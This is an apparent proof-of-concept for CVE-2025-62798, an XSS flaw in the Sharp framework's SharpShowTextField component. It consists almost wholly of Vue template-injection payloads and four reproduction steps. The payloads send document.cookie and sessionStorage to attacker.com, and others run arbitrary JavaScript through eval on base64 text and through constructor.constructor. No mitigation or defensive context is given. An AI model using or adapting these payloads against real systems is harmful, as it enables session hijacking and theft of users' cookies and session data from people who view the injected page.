CVE-2025-62798: Sharp框架SharpShowTextField组件XSS漏洞

<!-- CVE-2025-62798 XSS PoC for Sharp Framework --> <!-- Attack Vector: Inject malicious Vue expression in SharpShowTextField --> <!-- Malicious Payload to steal cookies --> {{window.location='https://attacker.com/steal?c='+document.cookie}} <!-- Alternative Payload - Execute arbitrary JS --> {{eval(atob('YWxlcnQoJ3hzc2NpZGluZycpOw=='))}} <!-- Steal session data --> {{fetch('https://attacker.com/log?data='+btoa(JSON.stringify(sessionStorage)))}} <!-- HTML Injection variant --> {{$refs.x}} or {{constructor.constructor('alert(1)')()}} <!-- Reproduction Steps: --> <!-- 1. Navigate to SharpShowTextField in admin panel --> <!-- 2. Input any of the above payloads in text field --> <!-- 3. Save and view the page where this field is displayed --> <!-- 4. Observe JavaScript execution in victim's browser -->